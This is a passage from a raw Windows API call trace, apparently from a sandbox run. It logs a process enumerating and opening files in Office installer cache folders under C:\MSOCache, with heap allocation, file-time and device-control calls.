ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0231.743] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6f88 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fcb48 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6fa8 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fcc50 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6fc8 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fcd58 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.744] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.745] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.745] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f6fe8 [0231.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fce60 [0231.745] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.745] GetLastError () returned 0x12 [0231.745] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0231.745] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0231.745] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0231.746] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0231.746] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0231.746] GetLastError () returned 0x12 [0231.746] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0231.746] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0231.746] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0231.746] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0231.746] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.747] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0231.867] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0231.867] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0231.867] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fd690 [0231.867] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fd690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fd690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0231.867] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fd690) returned 1 [0231.867] NtClose (Handle=0x1b0) returned 0x0 [0231.868] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0231.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0231.868] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0231.868] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0231.964] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.964] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7008 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fcf68 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.964] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7028 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd070 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1c0) returned 0x8f3990 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.964] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.964] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.964] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7048 [0231.965] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fd178 [0231.965] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0231.965] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, 